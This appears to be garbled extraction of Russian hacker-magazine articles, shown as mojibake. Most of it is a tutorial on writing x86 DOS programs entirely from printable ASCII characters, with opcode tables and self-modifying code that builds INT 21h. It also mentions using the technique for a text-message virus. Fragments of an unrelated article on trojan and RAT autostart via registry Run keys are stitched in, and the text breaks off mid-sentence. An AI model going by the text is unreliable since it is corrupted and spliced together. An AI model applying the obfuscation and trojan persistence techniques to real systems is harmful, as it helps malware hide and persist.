ìÿòè, ïîýòîìó ïðèõîäèòñÿ ïîäáèâàòü òàêóþ ðåãèñòðî-
âóþ ïàðó, êîòîðàÿ áû íå âûçûâàëà èñêëþ÷åíèé, íàï-
ðèìåð, AND [SI],SP (21h 24h èëè "!$") â òåêñòîâîì
ïðåäñòàâëåíèè. Òîëüêî íàäî ñëåäèòü, ÷òîáû SI óêàçû-
âàë íà ïàìÿòü, íå ñîäåðæàùóþ íè÷åãî èíòåðåñíîãî,
èíà÷å ïîñëåäñòâèÿ ñåáÿ íå çàñòàâÿò æäàòü. Êñòàòè ãî-
âîðÿ, ñèìâîë "$" íàì î÷åíü ïðèãîäèòñÿ, ïîñêîëüêó îí
ñëóæèò çàâåðøèòåëåì MS-DOS ñòðîê. Äëÿ Ñè-êîäå-
ðîâ, ïðèâûêøèõ ê íóëåâîìó áàéòó, ýòî ìîæåò áûòü
íåñêîëüêî íåîæèäàííî.

ìîé äîñòóï ê ïîðòàì ââîäà/âûâîäà è âèäåîïàìÿòè íåæåëà-
òåëüíî, òàê êàê ïðè ïðîãîíå ïðîãðàììû ïîä Windows NT ýòî
ïðèâîäèò ê ïðîáëåìàì. Ñîñòîÿíèå ðåãèñòðîâ íà ìîìåíò çà-
ïóñêà com-ôàéëà òû ìîæåøü ïîñìîòðåòü â òàáëèöå. À âîò
äðóãîé âàðèàíò � òåêñòîâàÿ ñòðîêà îôîðìëÿåòñÿ â âèäå
ìàññèâà (íàïðèìåð, char x[]="xxxxxx"), êîòîðîìó ïåðåäàåòñÿ
óïðàâëåíèå. Çàäà÷à � ïðî÷èòàòü âõîäíûå àðãóìåíòû è
âîçâðàòèòü â ðåãèñòðå EAX ðåçóëüòàò âû÷èñëåíèé. Êîäè-
ðîâêà ìîæåò áûòü ëþáîé � MS-DOS, WIN, KOI-8, íî MS-
DOS íàìíîãî áîëåå ïîïóëÿðíà, õîòÿ èñïîëüçîâàíèå íåàíã-
ëèéñêèõ ñèìâîëîâ àëôàâèòà, â îáùåì, íå ïðèâåòñòâóåòñÿ.
Äëÿ ýêñïåðèìåíòîâ íàì ïîíàäîáèòñÿ: äîêóìåíòàöèÿ íà àñ-
ñåìáëåð (ïðåäïî÷òèòåëüíåå âñåãî TECH HELP), îòëàä÷èê
(ëó÷øå avputil íè÷åãî íå âèäåë), HEX-ðåäàêòîð (íàïðèìåð,
HTE), ïèâî, âîáëà è íåêîòîðîå êîëè÷åñòâî ñâîáîäíîãî âðå-
ìåíè, à òàêæå òâîð÷åñêèé íàñòðîé.

[àëôàâèò] Âñÿêàÿ ïèñüìåííîñòü íà÷èíàåòñÿ ñ àëôàâèòà.
Äëÿ êîäèðîâàíèÿ â «òåêñòîâîé» ôîðìå ìû äîëæíû îò÷åò-
ëèâî ïðåäñòàâëÿòü ñòðóêòóðó ìàøèííîé êîìàíäû ñî âñåìè
ïîëÿìè, ïðåôèêñàìè è ïðî÷èìè ïðåâðàòíîñòÿìè ñóäüáû,
êîòîðûå åå îêðóæàþò. Â ýòîì íàì ïîìîæåò ýëåêòðîííûé
ñïðàâî÷íèê TECH HELP, êîòîðûé â ÷àñòíîñòè ìîæíî íàéòè
íà ìíîãèõ õàêåðñêèõ ñàéòàõ. Ýòî íàñòîÿùàÿ áèáëèÿ ïðîã-
ðàììèñòà ïîä MS-DOS, â êîòîðîé åñòü ïðàêòè÷åñêè âñå!
Â ïåðâóþ î÷åðåäü íàñ áóäåò èíòåðåñîâàòü òàáëèöà îïêî-
äîâ (80x86/87 Opcodes), òàêæå èçâåñòíàÿ ïîä èìåíåì
Instruction Set Matrix èëè ïðîñòî Ìàòðèöà. Íà ïåðâûé
âçãëÿä îíà âûãëÿäèò óæàñàþùå, íî, â äåéñòâèòåëüíîñòè,
ïîëüçîâàòüñÿ åé ïðîùå ïðîñòîãî.
Ìàòðèöà ïðåäñòàâëÿåò ñîáîé ïðÿìîóãîëüíóþ ñåòêó, íàïè÷-
êàííóþ îïêîäàìè èíñòðóêöèé. Ïî âåðòèêàëè îòêëàäûâàåòñÿ
ñòàðøèé ïîëóáàéò, à ïî ãîðèçîíòàëè ìëàäøèé. Äîïóñòèì,
íàñ èíòåðåñóåò, êàêàÿ èíñòðóêöèÿ ñîîòâåòñòâóåò ìàøèííîé
êîìàíäå 41h. Îòêëàäûâàåì ïî ãîðèçîíòàëè 4x, îòêëàäûâà-
åì ïî âåðòèêàëè x1 è â òî÷êå èõ ïåðåñå÷åíèÿ íàõîäèì INC
CX. À òåïåðü ðåøèì îáðàòíóþ çàäà÷ó: ïî èçâåñòíîé êîìàí-
äå íàéäåì ñîîòâåòñòâóþùåé åé ìàøèííûé êîä. Âîò, íàïðè-
ìåð: PUSH SS. Íàõîäèì òàêóþ èíñòðóêöèþ â òàáëèöå è âè-
äèì, ÷òî îíà íàõîäèòñÿ â êëåòêå ñ êîîðäèíàòàìè 1x:x6, çíà-
÷èò, åå îïêîä 16h! Ñ îäíîáàéòîâûìè êîìàíäàìè âñå ïîíÿò-
íî. Ïîïðîáóåì ðàçîáðàòüñÿ ñ îñòàëüíûìè. Â òàáëèöå âèäíû
ñîêðàùåíèÿ: r/m, r8, r16. im8, im16. ×òî ýòî? im ýòî ñîêðàùå-
íèÿ îò immediate, òî åñòü «íåïîñðåäñòâåííîå çíà÷åíèå» èëè
«êîíñòàíòà», à ÷èñëà óêàçûâàþò íà ðàçðÿäíîñòü â áèòàõ.
Âîò, íàïðèìåð, XOR AL,im8. Ïåðâûé áàéò êîìàíäû çàíèìà-
åò îïêîä (34h), âòîðîé � íåïîñðåäñòâåííîå çíà÷åíèå. Â
÷àñòíîñòè, XOR AL,69h áóäåò âûãëÿäåòü òàê: 34h 69h. À âîò
äðóãîé ïðèìåð: ADD AX,im16h. Ïåðâûé áàéò çàíèìàåò îï-
êîä (05h), à äâà ïîñëåäíèõ � íåïîñðåäñòâåííîå çíà÷åíèå
òèïà «ñëîâî», ïðè÷åì, ìëàäøèé áàéò ðàñïîëàãàåòñÿ ïî
ìåíüøåìó àäðåñó. Ïîýòîìó, ADD AX, 669h êîäèðóåòñÿ êàê
05h 69h 06h. Êàê âèäèòå, âñå ïðåäåëüíî ïðîñòî. Ñîêðàùå-
íèÿ r8 è r16 îáîçíà÷àþò ïîëÿ, êîäèðóþùèå 8- è 16-ðàçðÿä-
íûå ðåãèñòðû, à r/m êî âñåìó ïðî÷åìó âêëþ÷àåò â ñåáÿ åùå
è òèï àäðåñàöèè, èñïîëüçóþùèéñÿ äëÿ äîñòóïà ê ïàìÿòè.
Ýòî äîâîëüíî ãðîìîçäêàÿ òåìà, äàæå ïîâåðõíîñòíîå îïèñà-
íèå êîòîðîé òðåáóåò, êàê ìèíèìóì, öåëîé ãëàâû. È òàêàÿ
ãëàâà äåéñòâèòåëüíî âêëþ÷åíà â «Òåõíèêó è ôèëîñîôèþ
õàêåðñêèõ àòàê», ýëåêòðîííóþ âåðñèþ êîòîðîé ìîæíî íàé-
òè íà ìîåì ftp-ñåðâåðå (83.239.33.46). Îíà ëåæèò â ôàéëå
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& es: 26h

. DDA 27h

. CS: 2Eh

/ DAS 2Fh

? AAS 3Fh

@ INC AX 40h

[ POP BX 5Bh

\ POP SP 5Ch

] POP BP 5Dh

^ POP SI 5Eh

_ POP DI 5Fh 

` PUSHA 60h

> DS: 3Eh

6 ss: 36h

7 AAA 37h

A INC CX 41h

a POPA 61h

B INC DX 42h

b BOUND 62h

C INC BX 43h

c ARPL 63h

D INC SP 44h

d FS: 64h

E INC BP 45h

e GS: 65h

F INC SI 46h

f size: 66h

G INC DI 47h

g addr: 67h

H DEC AX 48h

I DEC CX 49h

J DEC DX 5Ah

K DEC BX 4Bh

L DEC SP 4Ch

M DEC BP 4Dh

N DEC SI 4Eh

O DEC DI 4Fh

P PUSH AX 50h

Q PUSH CX 51h

R PUSH DX 52h

S PUSH BX 53h

T PUSH SP 54h

U PUSH BP 55h

V PUSH SI 56h

W PUSH DI 57h

X POP AX 58h

Y POP CX 59h

Z POP DX 5Ah
îäíîáàéòîâûå êîìàíäû
ïåðâîé ãðóïïû



Äàâàéòå äëÿ ðàçìèíêè íàáåðåì â HEX-ðåäàêòîðå ñòðîêó HELLO,WORLD!$
è ïîïðîáóåì åå äèçàññåìáëèðîâàòü:

00000000: 48 dec ax ; óìåíüøèòü ðåãèñòð ax íà 1
00000001: 45 inc bp ; óâåëè÷èòü ðåãèñòð bp íà 1
00000002: 4C dec sp ; óìåíüøèòü ðåãèñòð sp íà 1
00000003: 4C dec sp ; óìåíüøèòü ðåãèñòð sp íà 1
00000004: 4F dec di ; óìåíüøèòü ðåãèñòð di íà 1
00000005: 2C 57 sub al, 057 ; îòíÿòü îò ðåãèñòðà al 57h
00000007: 4F dec di ; óìåíüøèòü ðåãèñòð di íà 1
00000008: 52 push dx ; çàòîëêàòü â ñòåê ðåãèñòð dx
00000009: 4C dec sp ; óìåíüøèòü ðåãèñòð sp íà 1
0000000A: 44 inc sp ; óâåëè÷èòü ðåãèñòð sp íà 1
0000000B: 21 24 and [si], sp ; *si = sp

Êàê âèäíî, ïðîãðàììà òàñóåò ðåãèñòðû è â õâîñò è â ãðèâó. Ïðè ýòîì íà âû-
õîäå ñòåê îêàçûâàåòñÿ íåñáàëàíñèðîâàííûì. Ñ îäíîé ñòîðîíû ìû èìååì
òðè êîìàíäû DEC SP è îäíó êîìàíäó PUSH DX (êîòîðàÿ óìåíüøàåò SP íà
2), óìåíüøàþùèå óêàçàòåëü âåðøèíû ñòåêà íà 5 áàéò, à ñ äðóãîé � îäíó
êîìàíäó INC SP. Èòîãî, ñ÷åò 5:1! Ñòåê îêàçûâàåòñÿ îïóùåííûì íà 4 áàéòà.
Ñëåäîâàòåëüíî, äàëåêî íå âñÿêóþ òåêñòîâóþ ñòðîêó ìîæíî íåïîñðåäñòâåí-
íî çàïèõíóòü â ìàøèííûé êîä. Â äàííîì ñëó÷àå, äëÿ äîñòèæåíèÿ áàëàíñà
ê òåêñòó òðåáóåòñÿ äîáàâèòü åùå ÷åòûðå áóêâû D èëè äâå êîìàíäû POP
reg16, êîòîðûì ñîîòâåòñòâóþò ñëåäóþùèå ñèìâîëû: "X[YZ^_]". Íàïðèìåð,
ýòî ìîæåò áûòü ^HELLO,WORLD!$^. À ÷òî, âûãëÿäèò âïîëíå äîñòîéíî!
Òåïåðü, ðàçîáðàâøèñü ñ ìàøèííûì êîäîì, ïåðåéäåì ê íàñòîÿùèì ãîëî-
âîëîìêàì.

[èçâðàùåíèÿ íà÷èíàþòñÿ] Ïîïðîáóåì ïîäîáðàòü òåêñòîâóþ ñòðîêó, âûâî-
äÿùóþ çàäàííûé òåêñò íà ýêðàí. Â êàíîíè÷åñêîì âàðèàíòå ýòî âûãëÿäèò òàê:

00000000: B4 09 mov ah, 009
00000002: BA 08 01 mov dx, 00108
00000005: CD 21 int 021h
00000007: C3 retn
00000008: 48 45 4C 4C-4F 2C "HELLO,
0000000E: 57 4F 52 4C 44 21-24 WORLD!$"

Ïðàêòè÷åñêè âñå ñèìâîëû ýòîé ïðîãðàììû íå÷èòàáåëüíû, òî åñòü íå
ìîãóò áûòü íàïðÿìóþ ââåäåíû ñ êëàâèàòóðû. Çäåñü ïðèäåòñÿ õèò-
ðèòü. Íà÷íåì ñ èíñòðóêöèè MOV AH, 09h, çàíîñÿùåé â ðåãèñòð AH
êîä ñåðâèñíîé ôóíêöèè, îòâåòñòâåííûé çà òåëåòàéïíûé âûâîä. Çàã-
ëÿíóâ â Ìàòðèöó, ìû ñ îãîð÷åíèåì íàáëþäàåì, ÷òî âñå êîìàíäû ïå-
ðåñûëêè ðåãèñòðîâ MOV/LEA èìåþò îïêîä, ïðåâûøàþùèé 7Fh, òî
åñòü âûëåçàþùèé çà àìåðèêàíñêóþ ÷àñòü êîäèðîâêè ASCII. Ëàäíî,
íå äàþò íàì MOV'à è íå íàäî! Èñïîëüçóåì ìàòåìàòè÷åñêèå îïåðà-
öèè! Â íàøåì ðàñïîðÿæåíèè åñòü INC reg16/DEC reg16, SUB è XOR.
Íå òàêîé óæ è áîãàòûé âûáîð!
Ïîñêîëüêó, íà÷àëüíîå çíà÷åíèå ðåãèñòðà AX ðàâíî 0000h, äëÿ äîñòèæå-
íèÿ çàäóìàííîãî, íàì äîñòàòî÷íî âû÷åñòü èç íåãî çíà÷åíèå F700h, ÷òî
ðàâíîñèëüíî ñëîæåíèåì ñ 900h. Â ìàøèííîì ïðåäñòàâëåíèè ýòî áóäåò
âûãëÿäåòü ïðèáëèçèòåëüíî òàê: 

[ïîäãîòîâêà ðåãèñòðà AH â ðàáîòå (ïðåäâàðèòåëüíûé âàðèàíò)]

00000000: 2D 00 F7 sub ax, 0F700

Îïñ! Ñðàçó äâà áàéòà âûëåòàþò â øòðàôáàò. Ýòî 00h è F7h. ×åðò! Êàê
æå áûòü? Íàäî ïîäóìàòü� À ÷òî åñëè âû÷èñëèòü çíà÷åíèå íå âñå ñðàçó,
à ïî ÷àñòÿì? Êîðî÷å ãîâîðÿ, íóæíî ðàçëîæèòü F700h íà ðÿä ñëàãàåìûõ,
êàæäîå èç êîòîðûõ íàõîäèëîñü áû â çàäàííîì èíòåðâàëå. Òî÷íåå äàæå
íå èíòåðâàëå, à êàæäûé áàéò, âõîäÿùèé â ñëîâî, óäîâëåòâîðÿë áû óñëî-
âèþ 80h > x > 1Fh. ×åì íå ãîëîâîëîìêà? Ëþáèòåëè ìàòåìàòèêè ëåãêî
íàéäóò ñòðîãîå ðåøåíèå, à âñåì îñòàëüíûì ïðèäåòñÿ äîâîëüñòâîâàòüñÿ
ìåòîäîì ïåðåáîðà. Âîò, íàïðèìåð, åñëè îò F700h øåñòü ðàç îòíÿòü ïî
292Ah, îñòàíåòñÿ âñåãî 4, êîòîðûå ìîæíî íàêðóòèòü îáû÷íûì DEC AX
(âïðî÷åì, â äàííîì ñëó÷àå «êðóòèòü» ñîâåðøåííî íåîáÿçàòåëüíî, ïîñ-
êîëüêó ïðè AH == 9, çíà÷åíèå ðåãèñòðà AL èãíîðèðóåòñÿ). Â îáùåì, íàø
àíàëîã MOV AX, 9 áóäåò âûãëÿäåòü òàê:

[ïîäãîòîâêà ðåãèñòðà AH â ðàáîòå (îêîí÷àòåëüíûé âàðèàíò)]

00000000: 2D 2A 29 sub ax, 0292A
00000003: 2D 2A 29 sub ax, 0292A
00000006: 2D 2A 29 sub ax, 0292A
00000009: 2D 2A 29 sub ax, 0292A
0000000C: 2D 2A 29 sub ax, 0292A

0000000F: 2D 2A 29 sub ax, 0292A
00000012: 48 dec ax
00000013: 48 dec ax
00000014: 48 dec ax
00000015: 48 dec ax

À â òåêñòîâîì âèäå: "-*)-*)-*)-*)-*)-*)HHHH". Äëÿ ïðîâåðêè ðàáîòîñïîñîá-
íîñòè ïðîãðàììû, çàïóñòèì åå ïîä îòëàä÷èêîì.
Ñìîòðèì è� óðà! Ïîëó÷èëîñü! Ðåãèñòð AH ïîñëóøíî îáðàòèëñÿ â 09h è íè
îäíîãî ASCII ñèìâîëà ïðè ýòîì íå ïîñòðàäàëî. Âïðî÷åì, ýòî íå åäèíñòâåí-
íûé è ê òîìó æå íå ñàìûé êîðîòêèé âàðèàíò. Ìîæíî, íàïðèìåð, ïîäòÿíóòü
ðåãèñòð AL ê 09h (â ýòîì íàì ïîìîãóò êîìàíäû INC AX), à çàòåì ïåðåñëàòü
AL â AH. Ñòîï! Âåäü êîìàíä ïåðåñûëêè ó íàñ íåò! Íè MOV, íè XCHG íå ðà-
áîòàþò! Îäíàêî â íàøåì ðàñïîðÿæåíèè åñòü ñòåê! À ñòåê ýòî ìîãó÷àÿ âåùü!
Êîìàíäà PUSH reg16 çàáðàñûâàåò 16-ðàçðÿäíûé ðåãèñòð íà âåðõóøêó, à
POP reg16 ñòàñêèâàåò åãî îòòóäà. Êîìàíä äëÿ ðàáîòû ñ 8-ðàçÿðäíûìè ðå-
ãèñòðàìè íåò, à ýòî çíà÷èò, ÷òî AL è AH ìû íèêàê íå îáìåíÿåì, âî âñÿêîì
ñëó÷àå åñëè äåéñòâîâàòü â ëîáîâóþ. Íåò, òóò íóæåí ñîâñåì äðóãîé ïîäõîä!
×òî òàêîå ìàøèííîå ñëîâî? Ñîâîêóïíîñòü äâóõ áàéò, òàê? Ïðè÷åì, ìëàä-
øèé áàéò ëåæèò ïî ìåíüøåìó àäðåñó, à çà íèì ñëåäóåò ñòàðøèé. Íåìíîãî
ìåäèòàöèè è ðåøåíèå íàéäåíî. Åñëè çàñëàòü â ñòåê ðåãèñòð AX, çàòåì
óìåíüøèòü óêàçàòåëü âåðõóøêè ñòåêà íà åäèíèöó è èçâëå÷ü ðåãèñòð AX, òî
â AL ïîïàäåò ìóñîð, à â AH � ìëàäøèé áàéò îðèãèíàëüíîãî ðåãèñòðà AX,
â ðåçóëüòàòå ÷åãî íàøà çàäà÷à áóäåò ðåøåíà! Âåñü êîä óãàäûâàåòñÿ â 0Bh
áàéò, ÷òî íà 0Ah áàéò êîðî÷å, ÷åì â ïðîøëûé ðàç. Ýòî ñòîèëî áû îòìåòèòü! 

[ïîäãîòîâêà ðåãèñòðà AH â ðàáîòå (óëó÷øåííûé âàðèàíò)]

00000000: 40 inc ax
00000001: 40 inc ax
00000002: 40 inc ax
00000003: 40 inc ax
00000004: 40 inc ax
00000005: 40 inc ax
00000006: 40 inc ax
00000007: 40 inc ax
00000008: 40 inc ax
00000009: 50 push ax
0000000A: 4C dec sp
0000000B: 58 pop ax

Ñ ðåãèñòðîì DX ìû ðàçäåëûâàåìñÿ àíàëîãè÷íûì îáðàçîì (ìíîãîê-
ðàòíûì âû÷èòàíèåì), à âîò ñ INT 21h (CDh 21h) âñå îáñòîèò çíà÷è-
òåëüíî ñëîæíåå � áåç ñàìîìîäèôèöèðóþùåãîñÿ êîäà çäåñü ïðîñòî
íèêàê. Íà ýòîò ñëó÷àé â íàøåì àðñåíàëå åñòü, ïî ìåíüøåé ìåðå, äâå
êîìàíäû äëÿ ðàáîòû ñ ïàìÿòüþ: sub byte:[index_reg16],reg8 è sub
byte:[BP+im8],reg8.
Åñòåñòâåííî, íàì íåîáõîäèìî çíàòü ñìåùåíèå èíñòðóêöèè INT 21h â ìà-
øèííîì êîäå, à íà äàííîì ýòàïå îíî åùå íå èçâåñòíî, òàê êàê ïåðåä íèì
ðàñïîëàãàåòñÿ ñàìîìîäèôèöèðóþùèéñÿ êîä, äëèíó êîòîðîãî ìû åùå íå
ãîòîâû íàçâàòü. Õîðîøî, óñëîâèìñÿ ñ÷èòàòü, ÷òî INT 21h ðàñïîëàãàåòñÿ
ïî ñìåùåíèþ 66h îò íà÷àëà ôàéëà, ÷òî ñîîòâåòñòâóåò 166h â ïàìÿòè
(áàçîâûé àäðåñ çàãðóçêè äëÿ com-ôàéëîâ ðàâåí 100h).
Íà÷àëüíîå çíà÷åíèå ðåãèñòðà SI ðàâíî 100h, ÷òî ñóùåñòâåííî óïðîùà-
åò íàøó çàäà÷ó. Îñòàåòñÿ ðàçîáðàòüñÿ ñ INT 21h (ÑDh 21h). Åñëè çàêî-
äèðîâàòü ýòó êîìàíäó êàê 23h 21, à çàòåì îòíÿòü îò íåå 56h, ìû äîáü-
åìñÿ òîãî, ÷òî òàê äîëãî èñêàëè. Â ìàøèííîì ïðåäñòàâëåíèè ýòî ìî-
æåò âûãëÿäåòü òàê:

[ôîðìèðîâàíèå èíñòðóêöèè INT 21h 
ñ ïîìîùüþ ñàìîìîäèôèöèðóþùåãîñÿ êîäà]

00000000: 56 push si
00000001: 5D pop bp
00000002: 6A 56 push 056
00000004: 59 pop cx
00000005: 28 4E 66 sub [bp][00066],cl

�
00000066: 23 21

Ýòîìó ñîîòâåòñòâóåò ñëåäóþùàÿ òåêñòîâàÿ ñòðîêà: "V]jVY(Nf�#!". Íå
ñëèøêîì ëèòåðàòóðíî, êîíå÷íî, íî çàòî öåëèêîì èç ïå÷àòíûõ ñèìâîëîâ!
Êîìàíäà RETN ñ îïêîäîì C3h óêðîùàåòñÿ àíàëîãè÷íî.
Êîðî÷å ãîâîðÿ, ïåðâûé ýòàï ðó÷íîãî àññåìáëèðîâàíèÿ ìîæíî ñ÷è-
òàòü ïðîéäåííûì. Êàê è âñå ãîòîâûå ðåøåíèÿ, îí ñêðûâàåò âåñü íà-
êàë ñòðàñòåé è íå ïåðåäàåò òðåñêà ìîçãîâûõ èçâèëèí. Ýòî òîëüêî ñ
âèäó êàæåòñÿ, ÷òî çàäà÷êà ðåøàåòñÿ ïðîñòî. Íà ñàìîì äåëå, îíà òðå-[X
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áóåò íåñòàíäàðòíîãî ìûøëåíèÿ, õîðîøåãî çíà÷åíèÿ ñòðóêòóðû ìà-
øèííûõ êîìàíä, ìåäèòàöèè è äëèòåëüíûõ ðàçìûøëåíèé, ïûòàþùèõ-
ñÿ âòèñíóòü çàäàííóþ ôóíêöèîíàëüíîñòü â îãðàíè÷åííûé äèàïàçîí
÷èòàáåëüíûõ áàéò. Âïðî÷åì, ýòî âñåãî ëèøü íà÷àëî. Íàñòîÿùåå âå-
ñåëüå íàñòóïàåò ïîòîì, êîãäà õàêåð ïûòàåòñÿ ïðåâðàòèòü ÷èòàáåëü-
íûé òåêñò â îñìûñëåííóþ ôðàçó. Î÷åâèäíî, ÷òî íàø ïåðâîíà÷àëüíûé
âàðèàíò (àáðàêàäàáðà â ñòèëå "-*)-*)-*)-*)-*)-*)HHHH�V]jVY(Nf�#!")
íè÷åì ïîäîáíûì íå ÿâëÿåòñÿ.
Ïðèõîäèòñÿ ðàçëàãàòü ÷èñëà íà ñëàãàåìûå òàê, ÷òîáû ýòè ñàìè
ñëàãàåìûå ïðåäñòàâëÿëè îñìûñëåííûå êîìáèíàöèè áóêâ, ðàçáàâ-
ëÿåìûå ìàøèííûìè êîìàíäàìè èç ïåðâîé ãðóïïû (ñì. òàáëèöó),
äëÿ ëèêâèäàöèè ïîäîáíûõ ýôôåêòîâ îò êîòîðûõ èñïîëüçîâàòü ïðî-
òèâîïîëîæíûå èì êîìàíäû. Â êîíå÷íîì ñ÷åòå îáðàçóåòñÿ êàêàÿ-òî
äèêàÿ òåêñòîâàÿ ñòðîêà, ñ êó÷åé ïîñòîðîííèõ ñèìâîëîâ, íî çàòî ðà-
áîòàþùàÿ!!! ×òîáû íå îáëàìûâàòü êàéô, íèêàêèõ çàêîí÷åííûõ ðå-
øåíèé çäåñü ÿ ïðèâîäèòü íå áóäó. Ïåðâóþ ñòðîêó ñîçäàòü âñåãäà
òðóäíî. Ãëàâíîå � ïîíÿòü èäåþ, îáùèé ïðèíöèï. Â ãîòîâîì âèäå
âñå âûãëÿäèò ñêó÷íî è íåèíòåðåñíî.
Íà ïåðâûõ ïîðàõ, ìîæíî ñìÿã÷èòü óñëîâèÿ è ðàñøèðèòü äîñòóïíûé
àëôàâèò ðóññêèìè áóêâàìè è ñèìâîëàìè ïñåâäîãðàôèêè, à çàòåì,
ïî ìåðå íàêîïëåíèå îïûòà, åãî ïîñòåïåííî óæåñòî÷àòü. Ìàòåðûå õà-
êåðû, íàïðîòèâ, îãðàíè÷èâàþòñÿ òîëüêî çàãëàâíûìè àíãëèéñêèìè

áóêâàìè è ê òîìó æå ñîðåâíóþò-
ñÿ îäíîâðåìåííî ïî ðàçìåðó êî-
äà (â áàéòàõ), ñêîðîñòè åãî âû-
ïîëíåíèÿ (â òàêòàõ ñòàðîãî äîá-
ðîãî 8086) è âðåìåíè ðåøåíèÿ
çàäà÷è (â ÷àñàõ ñ òî÷íîñòüþ äî
ìèíóòû). Äî ìåæäóíàðîäíûõ ñî-
ðåâíîâàíèé äåëî, êîíå÷íî, íå
äîõîäèò, íî â ëîêàëüíûõ ñõâàò-
êàõ êðîâü êèïèò òîëüêî òàê.

[çàêëþ÷åíèå] Êîãäà ÿ ãîâîðèë,
÷òî ñîñòàâëåíèå òàêèõ ñòðîê íå
èìååò íèêàêîãî ïðàêòè÷åñêîãî
çíà÷åíèÿ, ÿ ñëåãêà ïðèâèðàë.
Âåäü ýòî çàìå÷àòåëüíûé çàùèò-
íûé òðþê, ñáèâàþùèé õàêåðîâ ñ
òîëêó. Åñëè ôðàãìåíò ïðîãðàììû
âûãëÿäèò, êàê ñòðîêà, è ïåðåäà÷à
óïðàâëåíèÿ íà íåãî òùàòåëüíî
çàìàñêèðîâàíà, äàëåêî íå êàæ-
äûé õàêåð ñ ëåòó ðàçáåðåòñÿ ÷òî ê
÷åìó. Êàê âàðèàíò, ìàøèííûå

òåêñòîâûå ñòðîêè ìîæíî èñïîëüçîâàòü êàê ñåðèéíûå íîìåðà, ðàñ-
øèôðîâûâàþùèå ïðîãðàììó èëè äîáàâëÿþùèå ê íåé íåäîñòàþùóþ
ôóíêöèîíàëüíîñòü (åñòåñòâåííî, ïåðåä çàïóñêîì íà âûïîëíåíèå íå-
îáõîäèìî ïðîâåðèòü èõ CRC, âäðóã ïîëüçîâàòåëü îøèáñÿ ïðè ââîäå).
Åùå èíòåðåñíåå íàïèñàòü MS-DOS âèðóñ, ïðåäñòàâëÿþùèé ñîáîé
òåêñòîâîå ïîñëàíèå. Â îáùåì, êàê ãîâîðèòñÿ, ãëàâíîå ôàíòàçèþ
èìåòü, à îáëàñòè ïðèìåíåíèÿ íàéäóòñÿ

ñòðîêà "HELLO,WORLD!$" è åå ìàøèííîå ïðåäñòàâëåíèå

ñèìâîë êîìàíäà îïêîä

$ AND AL,im8 24h

% AND AX, im16 25h

4 XOR AL, im8 34h

5 XOR AX, im16 35h

, SUB AL, im8 2Ch

- SUB AX,im16 2Dh

< CMP AL, im8 2Ch

= CMP AX, im16 3Dh

ïðîâåðêà ðàáîòîñïîñîáíîñòè ôðàãìåíòîâ ïðîãðàììû ïîä îòëàä÷èêîì

äâóõ è òðåõ áàéòîâûå êîìàíäû âòîðîé ãðóïïû [X
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ÑÓÙÅÑÒÂÓÅÒ ÌÍÎÆÅÑÒÂÎ ÑÏÎÑÎÁÎÂ ÎÐÃÀ-
ÍÈÇÎÂÀÒÜ ÇÀÏÓÑÊ ÒÐÎßÍÀ ÏÐÈ ÑÒÀÐÒÅ ÑÈÑ-
ÒÅÌÛ, ÍÅÊÎÒÎÐÛÅ ÈÇ ÍÈÕ ÄÀÂÍÎ ÇÀÞÇÀÍÛ
ÄÎ ÄÛÐ, À ÍÅÊÎÒÎÐÛÅ ÈÑÏÎËÜÇÓÞÒÑß
Î×ÅÍÜ ÐÅÄÊÎ È ÏÐÀÊÒÈ×ÅÑÊÈ ÍÈ×ÅÌ ÍÅ ÎÁ-
ÍÀÐÓÆÈÂÀÞÒÑß. ÅÑËÈ ÕÀÊÅÐ ÁÓÄÅÒ ÏÎÄÕÎ-
ÄÈÒÜ Ê ÑÎÇÄÀÍÈÞ ÑÂÎÅÃÎ ÒÐÎßÍÑÊÎÃÎ ÊÎ-
Íß Ñ ÓÌÎÌ, ÎÍ ÍÈ ÇÀ ×ÒÎ ÍÀ ÑÂÅÒÅ ÍÅ ÁÓ-
ÄÅÒ ÈÑÏÎËÜÇÎÂÀÒÜ ÄÐÅÂÍÈÅ È ÂÑÅÌ ÈÇÂÅ-
ÑÒÍÛÅ ÌÅÒÎÄÛ, ÎÍ ÈËÈ ÏÐÈÄÓÌÀÅÒ ×ÒÎ-ÒÎ
ÑÂÎÅ, ÈËÈ ÂÎÇÜÌÅÒ ÊÀÊÎÉ-ÍÈÁÓÄÜ ÍÎÂÛÉ,
ÄÎÑÅËÅ ÏÐÈÂÀÒÍÛÉ, ÍÓ, ÈËÈ ÍÅ Î×ÅÍÜ
ÐÀÑÏÐÎÑÒÐÀÍÅÍÍÛÉ ÑÏÎÑÎÁ. ÄÀÂÀÉ ÏÎÑ-
ÌÎÒÐÈÌ, ÊÀÊÎÉ ÂÛÁÎÐ ÏÐÅÄÑÒÎÈÒ ÑÄÅ-
ËÀÒÜ ÕÀÊÅÐÓ | Ms-Rem (Ms-Rem@yandex.ru)
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Ìåòîäû àâòîçàïóñêà

Ðàçáèðàåìñÿ ñ ðåàëèçàöèåé
àâòîçàãðóçêè â RAT

Windows\CurrentVersion\Run. Ïåðâûé ìåòîä, êàê òû ïîíèìàåøü, àáñîëþòíî
íåïðèãîäåí äëÿ èñïîëüçîâàíèÿ â òðîÿíå. Åãî íå ñòàíåò íèêòî ðåàëèçîâû-
âàòü òîëüêî ïîòîìó, ÷òî äåòåêòèðîâàíèå ïîäîáíîãî ìåòîäà � ýòî ïàðà êëè-
êîâ, Ïóñê->Ïðîãðàììû->Àâòîçàãðóçêà. Ìåòîä æå ñ ðååñòðîì, åäâà ëè íå ñà-
ìûé ðàñïðîñòðàíåííûé èç âñåõ, òàê êàê ïðèìåíÿåòñÿ â òðîÿíàõ, íà÷èíàÿ ñ
ñàìîãî ìîìåíòà èõ ïîÿâëåíèÿ. Ïðèâåäåííûå ÷óòü âûøå ðàçäåëû, ñîäåðæàò
ñïèñêè ôàéëîâ, êîòîðûå Explorer çàïóñêàåò ïîñëå ñâîåé çàãðóçêè. Ïåðâûé
� ñïèñîê äëÿ êîíêðåòíîãî ïîëüçîâàòåëÿ, à âòîðîé � óæå äëÿ âñåõ ïîëüçî-
âàòåëåé â ñèñòåìå, ïî ýòîé ïðè÷èíå äëÿ äîáàâëåíèÿ çàïèñè â íåãî ïîíàäî-
áÿòñÿ ïðàâà àäìèíèñòðàòîðà èëè õîòÿ áû îïûòíîãî ïîëüçîâàòåëÿ. Äîáàâèòü
ñâîé ïàðàìåòð íåòðóäíî, åñëè èñïîëüçîâàòü îáúåêò TRegistry, îäíàêî õàêåð
áîðåòñÿ çà íàèìåíüøèé ðàçìåð ñâîèõ ïðîãðàìì, ïîýòîìó ïðèìåíÿåò èñê-
